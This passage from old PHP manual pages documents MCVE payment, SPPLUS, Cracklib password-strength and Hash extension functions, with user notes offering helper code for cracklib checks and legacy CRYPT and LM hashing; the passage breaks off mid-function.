int m_numcolumns ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_monitor
m_numrows
MCVE Functions


Number of rows returned in a comma delimited response

m_numcolumns
m_parsecommadelimited
MCVE Functions
PHP Manual

m_numrows

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_numrows — Number of rows returned in a comma delimited response

Description

int m_numrows ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_numcolumns
m_parsecommadelimited
MCVE Functions


Parse the comma delimited response so m_getcell, etc will work

m_numrows
m_responsekeys
MCVE Functions
PHP Manual

m_parsecommadelimited

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_parsecommadelimited — Parse the comma delimited response so m_getcell, etc will work

Description

int m_parsecommadelimited ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_numrows
m_responsekeys
MCVE Functions


Returns array of strings which represents the keys that can be used for response parameters on this transaction

m_parsecommadelimited
m_responseparam
MCVE Functions
PHP Manual

m_responsekeys

(PHP 5 >= 5.0.5, PECL mcve >= 1.0.0)

m_responsekeys — Returns array of strings which represents the keys that can be used for response parameters on this transaction

Description

array m_responsekeys ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_parsecommadelimited
m_responseparam
MCVE Functions


Get a custom response parameter

m_responsekeys
m_returnstatus
MCVE Functions
PHP Manual

m_responseparam

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_responseparam — Get a custom response parameter

Description

string m_responseparam ( resource $conn , int $identifier , string $key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

key

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_responsekeys
m_returnstatus
MCVE Functions


Check to see if the transaction was successful

m_responseparam
m_setblocking
MCVE Functions
PHP Manual

m_returnstatus

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_returnstatus — Check to see if the transaction was successful

Description

int m_returnstatus ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_responseparam
m_setblocking
MCVE Functions


Set blocking/non-blocking mode for connection

m_returnstatus
m_setdropfile
MCVE Functions
PHP Manual

m_setblocking

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_setblocking — Set blocking/non-blocking mode for connection

Description

int m_setblocking ( resource $conn , int $tf )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

tf

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_returnstatus
m_setdropfile
MCVE Functions


Set the connection method to Drop-File

m_setblocking
m_setip
MCVE Functions
PHP Manual

m_setdropfile

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_setdropfile — Set the connection method to Drop-File

Description

int m_setdropfile ( resource $conn , string $directory )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

directory

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_setblocking
m_setip
MCVE Functions


Set the connection method to IP

m_setdropfile
m_setssl_cafile
MCVE Functions
PHP Manual

m_setip

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_setip — Set the connection method to IP

Description

int m_setip ( resource $conn , string $host , int $port )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

host

port

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_setdropfile
m_setssl_cafile
MCVE Functions


Set SSL CA (Certificate Authority) file for verification of server certificate

m_setip
m_setssl_files
MCVE Functions
PHP Manual

m_setssl_cafile

(PHP 5 >= 5.0.5, PECL mcve >= 1.0.0)

m_setssl_cafile — Set SSL CA (Certificate Authority) file for verification of server certificate

Description

int m_setssl_cafile ( resource $conn , string $cafile )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

cafile

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_setip
m_setssl_files
MCVE Functions


Set certificate key files and certificates if server requires client certificate verification

m_setssl_cafile
m_setssl
MCVE Functions
PHP Manual

m_setssl_files

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_setssl_files — Set certificate key files and certificates if server requires client certificate verification

Description

int m_setssl_files ( resource $conn , string $sslkeyfile , string $sslcertfile )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

sslkeyfile

sslcertfile

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_setssl_cafile
m_setssl
MCVE Functions


Set the connection method to SSL

m_setssl_files
m_settimeout
MCVE Functions
PHP Manual

m_setssl

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_setssl — Set the connection method to SSL

Description

int m_setssl ( resource $conn , string $host , int $port )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

host

port

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_setssl_files
m_settimeout
MCVE Functions


Set maximum transaction time (per trans)

m_setssl
m_sslcert_gen_hash
MCVE Functions
PHP Manual

m_settimeout

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_settimeout — Set maximum transaction time (per trans)

Description

int m_settimeout ( resource $conn , int $seconds )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

seconds

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_setssl
m_sslcert_gen_hash
MCVE Functions


Generate hash for SSL client certificate verification

m_settimeout
m_transactionssent
MCVE Functions
PHP Manual

m_sslcert_gen_hash

(PECL mcve >= 5.2.0)

m_sslcert_gen_hash — Generate hash for SSL client certificate verification

Description

string m_sslcert_gen_hash ( string $filename )
Warning

This function is currently not documented; only its argument list is available.

Parameters

filename

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_settimeout
m_transactionssent
MCVE Functions


Check to see if outgoing buffer is clear

m_sslcert_gen_hash
m_transinqueue
MCVE Functions
PHP Manual

m_transactionssent

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_transactionssent — Check to see if outgoing buffer is clear

Description

int m_transactionssent ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_sslcert_gen_hash
m_transinqueue
MCVE Functions


Number of transactions in client-queue

m_transactionssent
m_transkeyval
MCVE Functions
PHP Manual

m_transinqueue

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_transinqueue — Number of transactions in client-queue

Description

int m_transinqueue ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_transactionssent
m_transkeyval
MCVE Functions


Add key/value pair to a transaction. Replaces deprecated transparam()

m_transinqueue
m_transnew
MCVE Functions
PHP Manual

m_transkeyval

(PHP 5 >= 5.0.5, PECL mcve >= 1.0.0)

m_transkeyval — Add key/value pair to a transaction. Replaces deprecated transparam()

Description

int m_transkeyval ( resource $conn , int $identifier , string $key , string $value )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

key

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_transinqueue
m_transnew
MCVE Functions


Start a new transaction

m_transkeyval
m_transsend
MCVE Functions
PHP Manual

m_transnew

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_transnew — Start a new transaction

Description

int m_transnew ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_transkeyval
m_transsend
MCVE Functions


Finalize and send the transaction

m_transnew
m_uwait
MCVE Functions
PHP Manual

m_transsend

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_transsend — Finalize and send the transaction

Description

int m_transsend ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_transnew
m_uwait
MCVE Functions


Wait x microsecs

m_transsend
m_validateidentifier
MCVE Functions
PHP Manual

m_uwait

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_uwait — Wait x microsecs

Description

int m_uwait ( int $microsecs )
Warning

This function is currently not documented; only its argument list is available.

Parameters

microsecs

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_transsend
m_validateidentifier
MCVE Functions


Whether or not to validate the passed identifier on any transaction it is passed to

m_uwait
m_verifyconnection
MCVE Functions
PHP Manual

m_validateidentifier

(PHP 5 >= 5.0.5, PECL mcve >= 1.0.0)

m_validateidentifier — Whether or not to validate the passed identifier on any transaction it is passed to

Description

int m_validateidentifier ( resource $conn , int $tf )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

tf

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_uwait
m_verifyconnection
MCVE Functions


Set whether or not to PING upon connect to verify connection

m_validateidentifier
m_verifysslcert
MCVE Functions
PHP Manual

m_verifyconnection

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_verifyconnection — Set whether or not to PING upon connect to verify connection

Description

bool m_verifyconnection ( resource $conn , int $tf )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

tf

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_validateidentifier
m_verifysslcert
MCVE Functions


Set whether or not to verify the server ssl certificate

m_verifyconnection
SPPLUS
MCVE Functions
PHP Manual

m_verifysslcert

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_verifysslcert — Set whether or not to verify the server ssl certificate

Description

bool m_verifysslcert ( resource $conn , int $tf )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

tf

Return Values

User Contributed Notes

There are no user contributed notes for this page.
m_verifyconnection
SPPLUS
MCVE Functions


SPPLUS Payment System

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SPPLUS Functions
    • calcul_hmac — Obtain a hmac key (needs 8 arguments)
    • calculhmac — Obtain a hmac key (needs 2 arguments)
    • nthmac — Obtain a nthmac key (needs 2 arguments)
    • signeurlpaiement — Obtain the payment url (needs 2 arguments)

User Contributed Notes

There are no user contributed notes for this page.
m_verifysslcert
Introduction
Credit Card Processing


Introduction

This extension gives you the possibility to use the » SPPLUS Payment System of the Caisse d'Epargne (a French Bank).

Note: This extension is not available on Windows platforms.

Refer to the README files in kit_php's source distribution for configuration details.

User Contributed Notes

There are no user contributed notes for this page.
SPPLUS
Installing/Configuring
SPPLUS


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SPPLUS


Requirements

Note: You need at least PHP 4.1.0 and SPPLUS v.3

Note: You will need to get the new kit_php for spplus. Feel free to contact the maintainer if you can't get it.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/spplus.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Note:

PHP 4.3.0 or greater is required for the compression to work.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
SPPLUS Functions
SPPLUS


SPPLUS Functions

Table of Contents

  • calcul_hmac — Obtain a hmac key (needs 8 arguments)
  • calculhmac — Obtain a hmac key (needs 2 arguments)
  • nthmac — Obtain a nthmac key (needs 2 arguments)
  • signeurlpaiement — Obtain the payment url (needs 2 arguments)

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
calcul_hmac
SPPLUS


Obtain a hmac key (needs 8 arguments)

SPPLUS Functions
calculhmac
SPPLUS Functions
PHP Manual

calcul_hmac

(PECL spplus >= 1.0.0)

calcul_hmac — Obtain a hmac key (needs 8 arguments)

Description

string calcul_hmac ( string $clent , string $siretcode , string $price , string $reference , string $validity , string $taxation , string $devise , string $language )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
SPPLUS Functions
calculhmac
SPPLUS Functions


Obtain a hmac key (needs 2 arguments)

calcul_hmac
nthmac
SPPLUS Functions
PHP Manual

calculhmac

(PECL spplus >= 1.0.0)

calculhmac — Obtain a hmac key (needs 2 arguments)

Description

string calculhmac ( string $clent , string $data )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
calcul_hmac
nthmac
SPPLUS Functions


Obtain a nthmac key (needs 2 arguments)

calculhmac
signeurlpaiement
SPPLUS Functions
PHP Manual

nthmac

(PECL spplus >= 1.0.0)

nthmac — Obtain a nthmac key (needs 2 arguments)

Description

string nthmac ( string $clent , string $data )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
calculhmac
signeurlpaiement
SPPLUS Functions


Obtain the payment url (needs 2 arguments)

nthmac
Cryptography Extensions
SPPLUS Functions
PHP Manual

signeurlpaiement

(PECL spplus >= 1.0.0)

signeurlpaiement — Obtain the payment url (needs 2 arguments)

Description

string nthmac ( string $clent , string $data )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
nthmac
Cryptography Extensions
SPPLUS Functions


Cryptography Extensions

  • Crack — Cracklib
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Crack Functions
  • Hash — HASH Message Digest Framework
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Hash Functions
  • Mcrypt
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Mcrypt ciphers
    • Examples
    • Mcrypt Functions
  • Mhash
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Mhash Functions
  • OpenSSL
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Key/Certificate parameters
    • Certificate Verification
    • OpenSSL Functions

User Contributed Notes

There are no user contributed notes for this page.
signeurlpaiement
Crack
Function Reference


Cracklib

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Crack Functions
    • crack_check — Performs an obscure check with the given password
    • crack_closedict — Closes an open CrackLib dictionary
    • crack_getlastmessage — Returns the message from the last obscure check
    • crack_opendict — Opens a new CrackLib dictionary

User Contributed Notes

There are no user contributed notes for this page.
Cryptography Extensions
Introduction
Cryptography Extensions


Introduction

These functions allow you to use the CrackLib library to test the 'strength' of a password. The 'strength' of a password is tested by that checks length, use of upper and lower case and checked against the specified CrackLib dictionary. CrackLib will also give helpful diagnostic messages that will help 'strengthen' the password.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0.

User Contributed Notes

There are no user contributed notes for this page.
Crack
Installing/Configuring
Crack


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Crack


Requirements

More information regarding CrackLib along with the library can be found at » http://sourceforge.net/projects/cracklib.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/crack.

In PHP 4 this PECL extensions source can be found in the ext/ directory within the PHP source or at the PECL link above. In order to use these functions you must compile PHP with Crack support by using the --with-crack[=DIR] configuration option.

Windows users will enable php_crack.dll inside of php.ini in order to use these functions. In PHP 4 this DLL resides in the extensions/ directory within the PHP Windows binaries download. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Crack configuration options
Name | Default | Changeable | Changelog
crack.default_dictionary | NULL | PHP_INI_PERDIR | PHP_INI_SYSTEM in crack <= 0.2. Available since PHP 4.0.5. Removed in PHP 5.0.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

The CrackLib extension defines a dictionary resource identifier returned by crack_opendict().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Crack


Examples

This example shows how to open a CrackLib dictionary, test a given password, retrieve any diagnostic messages, and close the dictionary.

Example #1 CrackLib example

<?php
// Open CrackLib Dictionary
$dictionary = crack_opendict('/usr/local/lib/pw_dict')
     or die('Unable to open CrackLib dictionary');

// Perform password check
$check = crack_check($dictionary, 'gx9A2s0x');

// Retrieve messages
$diag = crack_getlastmessage();
echo $diag; // 'strong password'

// Close dictionary
crack_closedict($dictionary);
?>

Note:

If crack_check() returns TRUE, crack_getlastmessage() will return 'strong password'.

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Crack Functions
Crack


Crack Functions

Table of Contents

  • crack_check — Performs an obscure check with the given password
  • crack_closedict — Closes an open CrackLib dictionary
  • crack_getlastmessage — Returns the message from the last obscure check
  • crack_opendict — Opens a new CrackLib dictionary

User Contributed Notes

leeyuiwah at NOSPAM dot hknet dot com 22-Nov-2007 02:24
Please note that the manual is a little bit misleading when providing references.  The sourceforge URL cited
(i.e. http://sourceforge.net/projects/cracklib) is the homepage of cracklib the enabler (upon which other things build), NOT the crack PECL extension.  If you are a PHP user looking for the crack PECL extension, you should NOT download from sourceforge.  Instead, you should download from the PECL homepage (http://pecl.php.net).  When you are there, search for "crack" not "cracklib".
Martin 05-Jun-2007 09:08
For those of you not familiar with the CrackLib Library:

CrackLib (or PHP Crack) can not cope with plaintext wordlists.
You have to generate a binary version of any plaintext list first.

After you have done this you get 3 files with different extensions:

my_list.txt

---->

my_list.pwd
my_list.hwm
my_list.pwi

crack_opendict() must be called with the first argument describing the path and base filename of the binary wordlist, e.g. C:\....\my_list or /usr/local/... (see below)

Now the bad news - how to generate the 3 files:

The only way i managed to do it:

o Download the CrackLib package from sourceforge (see link in php.net txt)
o USE UNIX/LINUX:
o run configure
o run make all
o run make install
o run make dict (having the wordlists in the /dict directory)
o look for the files in /usr/local/share/cracklib/
o copy the files in a convenient directory

That's it.
Examples
crack_check
Crack


Performs an obscure check with the given password

Crack Functions
crack_closedict
Crack Functions
PHP Manual

crack_check

(PECL crack >= 0.1)

crack_check — Performs an obscure check with the given password

Description

bool crack_check ( resource $dictionary , string $password )
bool crack_check ( string $password )

Performs an obscure check with the given password on the specified dictionary.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

dictionary

The crack lib dictionary. If not specified, the last opened dictionary is used.

password

The tested password.

Return Values

Returns TRUE if password is strong, or FALSE otherwise.

User Contributed Notes

Anonymous 25-Feb-2010 01:16
In addition to the usual checks crack can also check for similarities between the password and a username and gecos field (the gecos field normally contains the person's full name on unix systems).

There is a third format for the function call which supplies these additional parameters:

bool crack_check (string $password, string $username, string $gecos, resource $dictionary)

This is true of PECL crack version 0.4, I'm not sure about earlier versions.
vkontakte at mralston dot com 21-Jan-2010 07:27
If you need to test a password with cracklib but don't have the necessary module available in PHP, you can use a function like this.
It requires the command line cracklib-check binary in /usr/sbin, but changing its location is trivial.
The $message variable will contain cracklib's complaint (if there is one)
You'll want to wrap your invocation of this function in a try...catch block.

<?php
function cracklibCheck($password, &$message)
{
    // Clean up password
    $password=str_replace("\r", "", $password);
    $password=str_replace("\n", "", $password);

    // Run password through cracklib-check
    exec("echo ".escapeshellarg($password)." | /usr/sbin/cracklib-check 2>/dev/null", $output, $return_var);

    // Check it ran properly
    if($return_var==0)
    {
        if(preg_match("/^.*\: ([^:]+)$/", $output[0], $matches))
        {
            // Check response
            if(strtoupper($matches[1])=="OK")
            {
                // Password is strong
                $message="";
                return(true);
            }
            else
            {
                // Cracklib doesn't like it
                $message=$matches[1];
                return(false);
            }
        }
        else
        {
            // Badly formatted response from cracklib-check.
            throw new Exception("Didn't understand cracklib-check response.");
        }
    }
    else
    {
        // Some sort of execution error
        throw new Exception("Failed to run cracklib-check.");
    }
}
?>
Crack Functions
crack_closedict
Crack Functions


Closes an open CrackLib dictionary

crack_check
crack_getlastmessage
Crack Functions
PHP Manual

crack_closedict

(PECL crack >= 0.1)

crack_closedict — Closes an open CrackLib dictionary

Description

bool crack_closedict ([ resource $dictionary ] )

crack_closedict() closes the specified dictionary identifier.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

dictionary

The dictionary to close. If not specified, the current dictionary is closed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • crack_opendict() - Opens a new CrackLib dictionary

User Contributed Notes

There are no user contributed notes for this page.
crack_check
crack_getlastmessage
Crack Functions


Returns the message from the last obscure check

crack_closedict
crack_opendict
Crack Functions
PHP Manual

crack_getlastmessage

(PECL crack >= 0.1)

crack_getlastmessage — Returns the message from the last obscure check

Description

string crack_getlastmessage ( void )

crack_getlastmessage() returns the message from the last obscure check.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Return Values

The message from the last obscure check or FALSE if there was no obscure checks made so far.

The returned message is one of:

  • it's WAY too short
  • it is too short
  • it does not contain enough DIFFERENT characters
  • it is all whitespace
  • it is too simplistic/systematic
  • it looks like a National Insurance number.
  • it is based on a dictionary word
  • it is based on a (reversed) dictionary word
  • strong password

See Also

  • crack_check() - Performs an obscure check with the given password

User Contributed Notes

There are no user contributed notes for this page.
crack_closedict
crack_opendict
Crack Functions


Opens a new CrackLib dictionary

crack_getlastmessage
Hash
Crack Functions
PHP Manual

crack_opendict

(PECL crack >= 0.1)

crack_opendict — Opens a new CrackLib dictionary

Description

resource crack_opendict ( string $dictionary )

crack_opendict() opens the specified CrackLib dictionary for use with crack_check().

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Note:

Only one dictionary may be open at a time.

Parameters

dictionary

The path to the Cracklib dictionary.

Return Values

Returns a dictionary resource identifier on success or FALSE on failure.

See Also

  • crack_check() - Performs an obscure check with the given password
  • crack_closedict() - Closes an open CrackLib dictionary

User Contributed Notes

arekm at pld-linux dot org 25-Aug-2009 05:59
Also this module contains own implementation of cracklib isn't compatible with known cracklib library (http://sourceforge.net/projects/cracklib/), so you can't use dictionaries from sf cracklib.
Martin 05-Jun-2007 09:09
For those of you not familiar with the CrackLib Library:

CrackLib (or PHP Crack) can not cope with plaintext wordlists.
You have to generate a binary version of any plaintext list first.

After you have done this you get 3 files with different extensions:

my_list.txt

---->

my_list.pwd
my_list.hwm
my_list.pwi

crack_opendict() must be called with the first argument describing the path and base filename of the binary wordlist, e.g. C:\....\my_list or /usr/local/... (see below)

Now the bad news - how to generate the 3 files:

The only way i managed to do it:

o Download the CrackLib package from sourceforge (see link in php.net txt)
o USE UNIX/LINUX:
o run configure
o run make all
o run make install
o run make dict (having the wordlists in the /dict directory)
o look for the files in /usr/local/share/cracklib/
o copy the files in a convenient directory

That's it.
crack_getlastmessage
Hash
Crack Functions


HASH Message Digest Framework

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Hash Functions
    • hash_algos — Return a list of registered hashing algorithms
    • hash_copy — Copy hashing context
    • hash_file — Generate a hash value using the contents of a given file
    • hash_final — Finalize an incremental hash and return resulting digest
    • hash_hmac_file — Generate a keyed hash value using the HMAC method and the contents of a given file
    • hash_hmac — Generate a keyed hash value using the HMAC method
    • hash_init — Initialize an incremental hashing context
    • hash_update_file — Pump data into an active hashing context from a file
    • hash_update_stream — Pump data into an active hashing context from an open stream
    • hash_update — Pump data into an active hashing context
    • hash — Generate a hash value (message digest)

User Contributed Notes

There are no user contributed notes for this page.
crack_opendict
Introduction
Cryptography Extensions


Introduction

Message Digest (hash) engine. Allows direct or incremental processing of arbitrary length messages using a variety of hashing algorithms.

User Contributed Notes

There are no user contributed notes for this page.
Hash
Installing/Configuring
Hash


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Hash


Requirements

The Hash extension requires no external libraries and is enabled by default as of PHP 5.1.2. It may be explicitly disabled by using the --disable-hash switch to configure. Earlier versions of PHP may incorporate the Hash extension by installing the » PECL module.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Resource Types

This extension defines a Hashing Context resource returned by hash_init().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

HASH_HMAC (integer)
Optional flag for hash_init(). Indicates that the HMAC digest-keying algorithm should be applied to the current hashing context.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Hash Functions
Hash


Hash Functions

Table of Contents

  • hash_algos — Return a list of registered hashing algorithms
  • hash_copy — Copy hashing context
  • hash_file — Generate a hash value using the contents of a given file
  • hash_final — Finalize an incremental hash and return resulting digest
  • hash_hmac_file — Generate a keyed hash value using the HMAC method and the contents of a given file
  • hash_hmac — Generate a keyed hash value using the HMAC method
  • hash_init — Initialize an incremental hashing context
  • hash_update_file — Pump data into an active hashing context from a file
  • hash_update_stream — Pump data into an active hashing context from an open stream
  • hash_update — Pump data into an active hashing context
  • hash — Generate a hash value (message digest)

User Contributed Notes

ocarter at mirabeau dot nl 11-Jan-2010 07:22
Note for FreeBSD with PHP-5.

This is disabled by default; use the security/php5-hash port:
cd /usr/ports/security/php5-hash ; make install clean
(do not use the security/pecl-hash port as in the past, see the /usr/ports/UPDATING post from 20081211)
kungla at gmail dot com 07-Dec-2009 05:00
For Samba ueserPassword you can use:

(I am not very sure aboute the salt part, but it works for me like that)

<?php
function CRYPThash($string, $salt = null)
{
    if (!$salt)
        $salt = rand(10,99);

    return "{CRYPT}".crypt($string, $salt);
}
?>

In posted NTLMHash function you can also use:

<?php
// Encrypt it with the MD4 hash
$MD4Hash=hash('md4',$Input);
?>

So you don't need to install mhash libraries
artem at it-nt dot ru 20-Jul-2008 12:35
And some code for LM hash:

<?php
function LMhash($string)
{
    $string = strtoupper(substr($string,0,14));

    $p1 = LMhash_DESencrypt(substr($string, 0, 7));
    $p2 = LMhash_DESencrypt(substr($string, 7, 7));

    return strtoupper($p1.$p2);
}

function LMhash_DESencrypt($string)
{
    $key = array();
    $tmp = array();
    $len = strlen($string);

    for ($i=0; $i<7; ++$i)
        $tmp[] = $i < $len ? ord($string[$i]) : 0;

    $key[] = $tmp[0] & 254;
    $key[] = ($tmp[0] << 7) | ($tmp[1] >> 1);
    $key[] = ($tmp[1] << 6) | ($tmp[2] >> 2);
    $key[] = ($tmp[2] << 5) | ($tmp[3] >> 3);
    $key[] = ($tmp[3] << 4) | ($tmp[4] >> 4);
    $key[] = ($tmp[4] << 3) | ($tmp[5] >> 5);
    $key[] = ($tmp[5] << 2) | ($tmp[6] >> 6);
